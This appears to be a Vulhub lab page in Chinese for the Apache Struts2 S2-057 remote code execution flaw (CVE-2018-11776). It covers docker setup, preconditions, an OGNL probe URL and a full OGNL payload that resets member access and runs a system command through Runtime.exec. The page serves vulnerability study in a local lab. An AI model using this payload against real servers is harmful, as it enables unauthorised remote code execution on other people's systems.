Struts2 S2-057 遠程代碼執行漏洞 (CVE-2018-11776)
Path struts2/s2-057
- 影響版本: <= Struts 2.3.34, Struts 2.5.16
參考:
- https://cwiki.apache.org/confluence/display/WW/S2-057
- https://lgtm.com/blog/apache_struts_CVE-2018-11776
- https://xz.aliyun.com/t/2618
- https://mp.weixin.qq.com/s/iBLrrXHvs7agPywVW7TZrg
安裝
啟動 Struts 2.3.34 環境:
docker-compose up -d
環境部署后, 觀察 http://your-ip:8080/showcase/ 你會看見 Struts2 測試頁.
Exp
S2-057 先決條件:
alwaysSelectFullNamespace正確 - 操作元素未設置名稱空間屬性,或使用了通配符
用戶將從uri傳遞命名空間,并將其解析為OGNL表達式,最終導致遠程代碼執行漏洞
Payload:
http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action

可以看出,位置標頭中返回了233 * 233的結果。
Use payload from S2-057 vulnerability analysis and POC:
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
結果:

Vulhub 文檔